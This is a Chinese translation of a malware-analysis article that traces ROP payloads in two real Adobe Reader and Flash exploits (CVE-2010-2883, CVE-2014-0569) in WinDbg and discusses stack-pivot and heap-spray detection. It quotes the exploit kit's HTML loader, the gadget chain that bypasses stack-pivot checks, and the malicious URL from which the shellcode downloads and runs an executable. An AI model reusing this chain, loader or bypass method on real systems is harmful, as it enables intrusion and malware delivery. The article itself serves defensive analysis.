深入探討ROP 載荷分析

wyzsk發表於2020-08-19
作者: cssembly · 2014/11/28 10:03

0x00 簡介


Exploit-db上看到的感覺還不錯,所以就翻譯一下,原文題目為《Deep Dive into ROP Payload Analysis》,作者Sudeep Singh。

這篇文章的主要目的是介紹漏洞利用中的ROP載荷的分析技術,同時也深入分析一種ROP緩解技術stack pivot檢測技術,該技術目前被用於防護軟體中。

透過分析之前發現的兩個攻擊樣本(CVE-2010-2883 和CVE-2014-0569),對比了兩個ROP載荷的複雜性和繞過stack pivot檢測技術的能力對ROP載荷的詳細分析將有助於我們更好的瞭解漏洞利用技術,開發出更有效的檢測機制。

這篇文章主要針對漏洞分析人員以及對面向返回的程式設計(Return Oriented Programming)感興趣的人。

0x01 場景


漏洞利用正變成越來越流行的領域,同時在類似瀏覽器、Adobe Reader、Flash Player、Microsoft Silverlight 、Java等通用軟體中也經常發現漏洞。由於漏洞利用通常是攻擊中的第一個階段,因此比較適宜在漏洞利用階段對攻擊做防護。

在網際網路上可以找到有很多用於檢測和阻止漏洞利用的方案和技術。這些檢測機制通常聚焦於大多數漏洞的共同特點。例如:

  1. ROP:由於現在的作業系統都預設開啟了DEP,因此漏洞利用需要繞過DEP保護。ROP是繞過DEP最常用的技術。然而,由於ROP的工作方式,因此可以有很多的特徵可以檢測它。我們將下文中深入分析其中的stack pivot檢測技術。

  2. Heap Spray:為了獲取穩定的利用,大多數漏洞利用將載荷噴射到程式的地址空間中。當漏洞被觸發時,執行流被重定向到噴射在程式堆中的載荷導致漏洞被利用。然而,由於Heap Spray技術的廣泛應用,也再一次提供用於檢測它們的特徵。

最常見的特徵是用Heap Spray的模式,0x0c0c0c0c是最為大家所熟知的。當然也有一些其他的模式也能夠用於Heap Spray。

0x02 利用緩解


這篇文章中,我們主要關注ROP載荷分析,因此將主要討論stack pivot檢測技術。

據對多數漏洞利用主要分為下面幾個階段:

  1. 攻擊者將載荷(Nopsled + ROP payload + shellcode)噴射到堆上
  2. 觸發軟體的漏洞
  3. 透過漏洞,攻擊者控制了一些暫存器
  4. 這些暫存器被設定指向stack pivot gadget
  5. stack pivot gadget將切換原始程式的堆疊為指向攻擊者控制的堆中的資料,而新的堆疊中則包含我們的ROP載荷。
  6. stack pivot gadget中的返回指令將開啟ROP鏈的執行。

作為例子,透過一個UAF(Use After Free)漏洞的結果,我們將得到如下的場景:

movedx, dwordptr ds:[ecx]  ; edx為包含漏洞的C++物件的虛表指標
pushecx
call dwordptr ds:[edx+0x10]  ; 呼叫攻擊者控制的虛表中的虛擬函式

因為我們控制了上述的程式執行流,所以我們能夠將控制流重定向到下面的stack pivot gadget:

xchgeax, esp retn

當漏洞被觸發時,如果eax正指向攻擊者控制的堆中的資料,透過上面的程式碼片段,eax指向的堆空間將變成新的棧。

ROP是非常好的技術,被廣泛的用在現在漏洞攻擊中。這也導致了很多針對這種利用技術的檢測機制被設計出來。

其中一種技術就是stack pivot檢測技術。

當ROP鏈執行時,攻擊者的最終目標是將shellcode重新放置在可執行的記憶體區域以繞過DEP保護。為了做到這一點,攻擊者將呼叫一些類似VirtualAlloc的API函式。這些被攻擊者用於繞過DEP的API是有限的。

由於原始程式的堆疊被切換為指向攻擊者控制的資料,因此棧指標不再指向棧限以內。

程式棧限的資訊被儲存在TEB中。

1:020> !teb
TEB at 7ffda000
ExceptionList: 0220f908
StackBase: 02210000
StackLimit: 02201000

如果棧指標不滿足下面的條件,我們認為這是一個stack pivot:

if(esp>StackLimit&&esp<StackBase)

為了更好的理解這一點,我們看一個PDF的漏洞利用,CVE-2010-2883。

0x03 ROP鏈分析


這篇文章中,我將介紹ROP鏈的分析。請注意,我們並不是分析漏洞的根本原因。我們主要是深入理解ROP載荷是如何工作的。

我將討論兩個例子。其中一個例子中,ROP載荷可以被stack pivot檢測所檢測到,而另一個則可以繞過該檢測。

我們可以透過下面兩種方式分析ROP:

  1. 動態分析:可以透過兩種方式進行

    a)已知的ROP Gadget:某些情況下,可以透過靜態分析找到ROP gadgets。例如,對於惡意的PDF檔案,可以透過對進行Heap Spray的JavaScript程式碼去混淆來定位ROP gadgets。

    b)未知的ROP Gadget:某些情況下,在漏洞利用程式碼中定位ROP gadgets並不容易。這有可能是因為高強度混淆的程式碼或者ROP gadgets將在漏洞利用過程中動態構建。

    第二種情況下,ROP gadgets在執行過程中構建,因此我們需要採用其他技術來除錯。

  2. 靜態分析:當能夠找到ROP gadgets時,可以採用該技術 要分析ROP載荷,我們需要根據ROP gadgets找到組合語言程式碼。這可以透過在適當的模組地址空間中手工查詢每一個ROP gadgets來完成。但是這樣比較麻煩。為了使這一過程更加高效,我寫了一個C程式碼,它將自動的從模組的地址空間中抽取ROP gadgets對應的位元組碼,可以在附錄一中找到這段程式碼。

當你把去混淆過的JavaScript中的shellcode寫入一個檔案後,你需要透過IDA來反彙編或者透過一個十六進位制編輯器來觀察shellcode。透過這種方式,你可以確定這段shellcode是一段常規的shellcode還是ROP shellcode。

作為例子,來看一個惡意的pdf檔案,他的MD5值為975d4c98a7ff531c26ab255447127ebb,他利用CVE-2010-2883的漏洞進行攻擊。

在轉儲shellcode到檔案中以後,透過十六進位制編輯器開啟檔案,可以看到它不是一個常規的shellcode。我已經標示出了其中一些ROP gadgets:

enter image description here

通常情況下,所有的ROP gadgets將從同一個未被基址隨機化的模組中選取。這種情況下,可以看到所有的gadgets都來自一個模組,它的基址是0x07000000。透過Windbg開啟Adobe Reader,可以看到BIB.dll模組佔用了0x07000000的地址。

enter image description here

因此,在這個例子中所有的ROP gadgets都是從這個模組中選擇的。

透過我的程式碼,根據每一個ROP gadget來檢查該模組的地址空間,查詢相應的位元組碼,並記錄到另一個檔案中。

我的程式碼將區分ROP gadgets和ROP gadgets的引數。現在透過IDA載入這個檔案,標記適當的節為程式碼和資料。

enter image description here

現在我們就能更高效的分析ROP shellcode了。 某些情況下,我們需要單步跟蹤ROP shellcode來更好的理解他。這種情況下,我們就需要除錯ROP shellcode,可以透過在ROP鏈的第一個ROP gadget上設定斷點來除錯。

作為例子,我將採用之前的惡意PDF樣本,該樣本可以在Adobe Reader大於等於9.0並且小於等於9.4.0的版本中利用。

這個惡意的PDF包含多條ROP載荷,將根據Adobe Reader的版本來選取ROP載荷。我們現在就來看採用了icucnv36.dll中的ROP gadgets的ROP shellcode。

我們透過windbg開啟Adobe Reader,可以按g來執行Adobe Reader,觀察它載入了更多的模組。

特別主要注意的是,這裡icucnv36.dll還沒有被Adobe Reader載入。如果我在第一個ROP gadget上設定斷點,將不允許這樣做並顯示如下資訊:

enter image description here

這是因為我們正在嘗試在一個還沒有載入的dll地址空間中設定斷點。

透過如下命令,當模組載入時,將自動中斷到偵錯程式:

sxe ld icucnv36.dll

現在,執行Adobe Reader程式,開啟惡意的PDF檔案,很快icucnv36.dll被載入,同時自動中斷到偵錯程式。

enter image description here

現在就能夠成功的在第一個ROP gadget上設定斷點。

enter image description here

現在執行程式,很快第一個ROP gadget被執行了,中斷到了偵錯程式。當我們觀察暫存器的內容,可以看到esp指向了0x0c0c0c10。

enter image description here

透過stack pivot gadget攻擊者能夠成功的切換堆疊。

如果觀察地址空間中的內容,在0x0c0c0c0c處可以看到整個ROP shellcode。

enter image description here

這樣就能夠除錯ROP shellcode,在偵錯程式中進行單步跟蹤。

讓我們看看這個惡意PDF文件如何因為stack pivot被檢測到。如果我們進一步追蹤ROP鏈,我們注意到它透過0x4a80b692處的ROP gadget呼叫了API函式CreateFileA。

enter image description here

現在我們在API函式CreateFileA()上。

如果檢查TEB中的StackBase和StackLimit的值,可以看到esp在這個範圍以外。如果安全軟體在CreateFileA()上設定了API鉤子,這個漏洞利用將在stack pivot階段被很容易的檢測到。

enter image description here

0x04 Stack Pivot 檢測繞過


我們現在來看最近剛發現的利用CVE-2014-0569漏洞的樣本,它使用了可以繞過stack pivot檢測的ROP載荷。這種ROP載荷之前並沒有看到過。之前它只是一種概念性的證明,而現在已經被用於實際的漏洞利用中。

我在下面的地址處找到了該漏洞樣本完整的網路流量的PCAP檔案:

http://malware-traffic-analysis.net/2014/10/30/index2.html

正如下圖看到的,該漏洞利用工具部署在kethanlingtoro.eu處。

enter image description here

下面的HTML程式碼用於在瀏覽器中載入惡意swf檔案,觸發在Adobe Flash Player外掛中的漏洞。

#!html
<html>
<body>
<objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"width="10"height="10"/><paramname="movie"value="Main.swf"/>
<paramname="allowFullScreen"value="false"/>
<paramname="allowScriptAccess"value="always"/>
<paramname="FlashVars" value="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f"/>
<paramname="Play"value="true"/>
<embedtype="application/x-shockwaveflash"width="10"height="10"src="Main.swf" allowScriptAccess="always" FlashVars="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f" Play="true" allowFullScreen="false"/>
</object>
</body>
</html>

請注意上面傳遞給Flash載入器的引數是採用FlashVars。這對與漏洞利用是需要的,如果沒有它,惡意的swf檔案將導致奔潰。

在這個例子中,惡意的swf檔案被高度的混淆,如下圖所示,常用的Flash Decompilers也不能成功的反編譯這些程式碼。因此透過靜態分析來定位ROP gadgets並不容易。

enter image description here

透過檢視反彙編後的Flash程式碼,可以看到在漏洞利用函式中它使用了一個Sound物件,同時呼叫了它的toString()方法。採用Sound物件進行漏洞利用的技術在當前很流行。透過該漏洞,Sound物件的虛擬函式表將被重寫,而這將最終導致攻擊者控制程式的執行流。

Sound物件:

enter image description here

Sound物件的toString()方法被呼叫:

enter image description here

下面來看如何透過偵錯程式來分析這個ROP載荷。

環境資訊:

作業系統:Win 7 SP1 32-bit

Flash Player 版本:15.0.0.167

因為我們知道Sound物件的虛擬函式表將被攻擊者控制,所以可以在呼叫Sound物件呼叫toString()方法的地方設定斷點來除錯這個ROP載荷。

將windbg附加到Internet Explorer上。在載入惡意的web頁面到瀏覽器之前,我們可以在從C:\Windows\system32\Macromed\Flash\ 載入Flash32_15_0_0_167.ocx時設定模組載入斷點。

sxe ld Flash32_15_0_0_167.ocx

現在我們載入web頁面,這將中斷到偵錯程式。

由於該模組開啟了基址隨機化,因此呼叫toString()方法的地址每次都會變動。我們首先找到這個地址:

1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2       call edx
5eef8947 5e         pop esi
5eef8948 c20400 ret 4

我們在0x5eef8945處設定斷點。

我們執行該漏洞利用,它將中斷到上述地址,如下:

1:021> g
Breakpoint 0 hit
eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 
edi=0697c020
eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0   nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}

如果我們檢視該指令之前的反彙編程式碼,我們將看到在漏洞利用中,完整的Sound物件的虛擬函式表都被改寫了,如下圖:

enter image description here

5eef8940 8b01   mov eax,dword ptr [ecx]
5eef8942 8b5070     mov edx,dword ptr [eax+70h]
5eef8945 ffd2       call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
ecx = Sound Object
eax = VTable of the Sound Object
[eax+0x70] = address of toString() method

同時我們可以看到,在虛擬函式表中所有的虛擬函式都被重寫為0x5e861193 (retn指令)。toString()方法的虛擬函式指標已經被改寫為0x5e8805bb。

1:021> dd eax
081ab000 5e861193 5e861193 5e861193 5e861193
081ab010 5e861193 5e861193 5e861193 5e861193
081ab020 5e861193 5e861193 5e861193 5e861193
081ab030 5e861193 5e861193 5e861193 5e861193
081ab040 5e861193 5e861193 5e861193 5e861193
081ab050 5e861193 5e861193 5e861193 5e861193
081ab060 5e861193 5e861193 5e861193 5e861192
081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

我們檢視一下0x5e8805bb處的反彙編程式碼:

1:021> u 5e8805bb
Flash32_15_0_0_167+0x205bb:
5e8805bb 94     xchg eax,esp
5e8805bc c3     ret

enter image description here

這就是stack pivot gadget,這意味著攻擊者控制著eax的值以及它指向的資料。讓我們檢視一下:

1:021> dd eax
070ab000 5e861193 5e861193 5e861193 5e861193
070ab010 5e861193 5e861193 5e861193 5e861193
070ab020 5e861193 5e861193 5e861193 5e861193
070ab030 5e861193 5e861193 5e861193 5e861193
070ab040 5e861193 5e861193 5e861193 5e861193
070ab050 5e861193 5e861193 5e861193 5e861193
070ab060 5e861193 5e861193 5e861193 5e861192
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

enter image description here

在我們的ROP載荷中,所有的gadgets都來自於Flash32_15_0_0_167.ocx這個模組。

同時,需要注意的是stack pivot後,原始的esp的值將儲存在eax中。

在ROP鏈中可以看到很多的gadgets指向0x5e861193,正如下面所看到的的,他們都是返回指令。

1:021> u 5e861193
Flash32_15_0_0_167+0x1193:
5e861193 c3  ret

上面一系列返回指令執行之後,我們可以看到

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59  pop ecx
5e861193 c3  ret

enter image description here

這個ROP gadget將ecx的值設定為0x5e8805bb

1:021> dd esp
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca

接下來的ROP gadget出現了四次。

1:021> u eip
Flash32_15_0_0_167+0x61478:
5e8c1478 48     dec eax
5e8c1479 c3     ret

enter image description here

正如我們之前提到的,在stack pivot執行前的原始esp的值已經被儲存在了eax中。因此,eax減小四次,就是在原始棧上開闢出一個四位元組。

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59     pop ecx
5e861193 c3 ret

在當前棧上包含下面的資料:

1:021> dd esp
070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478
070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192

透過上面的ROP gadget,ecx的值被設定為0x5e8e2e45,然後

1:021> u eip
Flash32_15_0_0_167+0x3a4ca:
5e89a4ca 8908   mov  dword ptr [eax],ecx
5e89a4cc 5d         pop ebp
5e89a4cd c3         ret

這將儲存ecx的值在原始堆疊上(esp-4處)

enter image description here

下一個ROP gadget將0x41414141彈出到ebp中,這只是為了填充用。因為我們的ROP gadget在返回之前包含了一條pop ebp指令。 上面這些ROP gadgets將被多次執行。我們可以總結如下:

Gadget 1:
dec eax;
retn

這個ROP gadget執行四次可以再原始堆疊上開闢1個DWORD。

Gadget 2:
pop ecx;
retn

設定ecx暫存器的值。

Gadget 3:
mov dword ptr [eax], ecx;
pop ebp;
retn

將ecx的值移入原始堆疊中。

也就是說,ROP載荷透過攻擊者的緩衝區中的資料來精心設定原始堆疊中的資料。

繼續跟蹤ROP載荷,最終發現stack pivot將再次被執行。

如果現在檢視原始堆疊,可以看到堆疊被精心佈置,stack pivot將重定向控制流到kernel32!VirtualAllocStub()。

enter image description here

在堆疊上精心佈置的VirtualAlloc的引數如下:

enter image description here

這意味著,ROP載荷將分配具有PAGE_EXECUTE_READWRITE (0x40) 和 MEM_COMMIT (0x1000)屬性的0x1000位元組的記憶體空間。

我們檢視一下TEB中的StackBase和StackLimit的值。

如下所示,棧指標在StackBase和StackLimit的範圍以內,因此stack pivot緩解措施將不能阻止該漏洞利用。

enter image description here

進一步分析,在呼叫VirtualAllocStub()的點,堆疊佈局如下:

1:020> dd esp
0220ec50 5e861193 00000000 00001000 00001000
0220ec60 00000040 5e861192 c30c4889 5e89a4ca
0220ec70 41414141 5e861192 9090a5f3 5e8e2e45
0220ec80 5e861192 c3084889 5e89a4ca 41414141
0220ec90 5e861192 90909090 5e8e2e45 5e861192
0220eca0 c3044889 5e89a4ca 41414141 5e861192
0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60
0220ecc0 5e89a4ca 070514b8 5e861192 00000143

在返回地址0x5e861193處設定斷點,新分配的記憶體地址0x1c100000儲存在eax中。 接下來的ROP載荷也很有趣:

1:020> dd esp
0220ec64 5e861192 c30c4889 5e89a4ca 41414141
0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192
0220ec84 c3084889 5e89a4ca 41414141 5e861192
0220ec94 90909090 5e8e2e45 5e861192 c3044889
0220eca4 5e89a4ca 41414141 5e861192 9090ee87
0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca
0220ecc4 070514b8 5e861192 00000143 5e8e2e45
0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021

我已經將其總結如下:

pop ecx/retn ; set ecx to 0xc30c4889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x9090a5f3
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9)
pop ecx/retn ; set ecx to 0xc3084889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x90909090
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0xc3044889
mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x9090ee87
push eax/retn ; redirect execution to newly allocated memory
mov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax)
pop ecx/retn ; set ecx to 0x10788d60
mov dword ptr [eax], ecx/retn ;
pop ecx/retn ; set ecx to 0x143
push eax/retn ; now we are at the shellcode

enter image description here

這部分ROP載荷將從主shellcode中複製0x143個DWORD到新分配的記憶體空間中。

enter image description here

現在就是第二階段的shellcode了。

enter image description here

進一步對程式碼進行跟蹤,將看到動態查詢kernelbase.dll基址以及計算VirtualProtect函式地址。

enter image description here

這將修改0x01c10060處0x4b3位元組大小記憶體區域的保護屬性。然後呼叫GetTempPathA 構建路徑C:\Users\n3on\AppData\Local\Temp\stuprt.exe。

enter image description here

透過LoadLibraryA載入wininet.dll庫。

enter image description here

然後可以看到透過呼叫InternetOpenUrlA從http://kethanlingtoro.eu/xs3884y132186/lofla1.php下載載荷。

我們可以確定這和PCAP檔案中是相同的URL,如下所示:

enter image description here

載荷將被儲存在C:\Users\n3on\AppData\Local\Temp\stuprt.exe,並被執行。

透過這種方式,我們能夠透過偵錯程式分析ROP載荷以及shellcode。

下面來看另一種分析這種載荷的方法。

我們知道一旦中斷到Sound物件呼叫toString()方法的call指令上,它將重定向控制流到stack pivot gadget。這種情況下,攻擊者可以控制eax的值以及這個位置上的資料。

我們可以從記憶體中轉儲ROP載荷和shellcode到檔案中。正如下面看到的,可以使用writemem命令從記憶體中轉儲大約0x1500位元組的shellcode到rop.txt檔案中。

enter image description here

接下來,寫一個C程式,列印rop.txt中的DWORD列表。

在轉儲ROP載荷的同時,儲存Flash32_15_0_0_167.ocx的基址也很重要(因為由於基址隨機化的開啟,我們需要基地址來計算ROP gadgets的相對虛擬地址)。

透過之前寫的C程式碼,可以根據rop.txt中的ROP gadgets找到所有的位元組碼。

完整的繞過stack pivot檢測的ROP鏈在附錄2中。

0x05 Heap Spray 模式


由於ROP是和Heap Spray技術一起使用的,因此討論一下這兩個漏洞利用中的heap spray模式的不同。在第一個例子中,當我們在偵錯程式中,中斷到惡意PDF的第一個ROP gadget時,我們進行一下堆分析。

CVE-2010-2883 (惡意 PDF)

!heap -stat

enter image description here

可以看到在00390000處分配的堆空間具有最大的提交位元組。讓我們進行進一步的分析:

0:000> !heap -stat -h 00390000

enter image description here

正如所看到的,它包含了0x1f0個大小為0xfefc位元組大小的塊。這是一種非常固定的分配模式,也是一張很好地識別heap spray的標記。 進一步列舉所有大小為0xfefc位元組的堆塊

0:000> !heap -flt s fefec
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000 
_HEAP @ 360000
_HEAP @ 390000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
invalid allocation size, possible heap corruption
039c0018 1fdfd 0000 [0b]  039c0020  fefec - (busy VirtualAlloc)

如果轉儲處0x039c0020處的記憶體,可以看到NOP模式:

0:000> dd 039c0020
039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

這種模式是安全軟體識別heap spray的一個好的標誌,例如EMET檢測heap spray。

CVE-2014-0569 (惡意 SWF)

如果檢查第二個例子中的堆塊分配,將發現沒有任何固定的模式。

當中斷到stack pivot gadget時,進行堆分析:

0:000> !heap -stat
_HEAP 00900000
Segments 00000001
Reserved bytes     00100000
Committed bytes   00100000
VirtAllocBlocks    00000000
VirtAlloc bytes   00000000
_HEAP 00150000
Segments 00000001
Reserved bytes     00100000
Committed bytes   00082000
VirtAllocBlocks    00000000
VirtAlloc bytes   00000000

上面的兩塊包含了最大數量的提交位元組。

對於0x00900000處的堆

0:000> !heap -stat -h 00900000
heap @ 00900000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)

windbg沒有給出該堆的統計資訊。檢查另一個堆。

0:000> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
8000 1 - 8000 (7.52)
20 31d - 63a0 (5.85)
57f0 1 - 57f0 (5.17)
4ffc 1 - 4ffc (4.70)
614 c - 48f0 (4.28)
3980 1 - 3980 (3.38)
388 10 - 3880 (3.32)
2a4 13 - 322c (2.95)
800 6 - 3000 (2.82)
580 8 - 2c00 (2.58)

enter image description here

這裡並沒有看到固定的模式,也就是說在第二個漏洞利用中,類似EMET的安全軟體對於heap spray的檢測方法將無法工作。

因為在第二個漏洞利用中,在記憶體空間中噴射了AS3 Flash Vector物件,可以檢視這些物件:

03f4d000 000003fe 03162000 0beedead 0000027f ..... .......... 03f4f000 000003fe 03162000 0beedead 00000280 ..... .......... 03f51000 000003fe 03162000 0beedead 00000281 ..... .......... 03f53000 000003fe 03162000 0beedead 00000282 ..... .......... 03f55000 000003fe 03162000 0beedead 00000283 ..... .......... 03f57000 000003fe 03162000 0beedead 00000284 ..... .......... 03f59000 000003fe 03162000 0beedead 00000285 ..... .......... 03f5b000 000003fe 03162000 0beedead 00000286 ..... .......... 03f5d000 000003fe 03162000 0beedead 00000287 ..... ..........

其中0x3fe是Vector物件的長度。

大多數最近的漏洞利用的流程如下:

  1. 惡意SWF檔案透過使用ActionScript程式碼噴射Flash Vector物件

  2. 觸發漏洞,這將允許修改記憶體地址空間中的值。

在CVE-2014-0322中, 可以得到一個UAF崩潰,在inc dword ptr ds:[eax+0x10]處。

如果攻擊者可以將eax+0x10指向噴射的Flash Vector物件的長度域,就能增加這個長度。

  1. 透過增加Vector物件的長度,就能夠增加一個新的元素到Vector物件陣列中。由於邊界檢查是在ActionScript程式碼中完成的,因此新的加入Vector物件中元素將改寫記憶體中下一個Vector物件的長度。因此,這個漏洞利用將設定長度為一個大的值來獲取程式地址空間任意位置訪問的能力。

在所有這些漏洞利用中,控制流程都有一些共同的屬性:

  1. Vector物件的長度被設定為0x3fe。

  2. 由於Flash AS3 Vector物件在記憶體中的分配方式,他們按照0x1000位元組邊界對齊。

  3. 都透過破壞Sound物件的虛擬函式表,然後呼叫toString()方法來獲取程式控制流。

基於此,檢測這種Vector物件的噴射是很重要的。

0x06 結論


可以看到由於新的漏洞利用檢測技術被安全軟體所使用,漏洞利用的過程也變得更加複雜。顯然用於攻擊的漏洞利用也注意到了這些檢測技術並嘗試繞過他們。透過閱讀這篇文章,你將能夠深入的分析漏洞利用中的ROP載荷。

0x07 附錄


這裡有兩個附錄的檔案用來參考

附錄

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章